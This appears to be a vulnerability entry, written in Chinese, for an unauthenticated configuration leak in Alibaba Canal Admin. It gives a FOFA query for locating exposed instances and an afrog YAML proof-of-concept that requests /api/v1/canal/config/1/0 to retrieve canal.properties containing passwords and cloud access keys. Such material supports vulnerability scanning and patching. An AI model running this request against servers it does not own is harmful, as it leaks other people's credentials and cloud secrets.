alibaba-canal-config-leak: Alibaba Canal config 云密钥信息泄露漏洞

漏洞描述

由于/api/v1/canal/config 未进行权限验证可直接访问，导致账户密码、accessKey、secretKey等一系列敏感信息泄露 fofa: title="Canal Admin"

PoC代码[已公开]

id: alibaba-canal-config-leak

info:
  name: Alibaba Canal config 云密钥信息泄露漏洞
  author: zan8in
  severity: high
  verified: true
  description: |-
    由于/api/v1/canal/config 未进行权限验证可直接访问，导致账户密码、accessKey、secretKey等一系列敏感信息泄露
    fofa: title="Canal Admin"
  tags: canal,sqli
  created: 2025/03/21

rules:
  r0:
    request:
      method: GET
      path: /api/v1/canal/config/1/0
    expression: response.status == 200 && response.body.bcontains(b'"code":20000') && response.body.bcontains(b'"name":"canal.properties"')
expression: r0()

来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/alibaba-canal-config-leak.yaml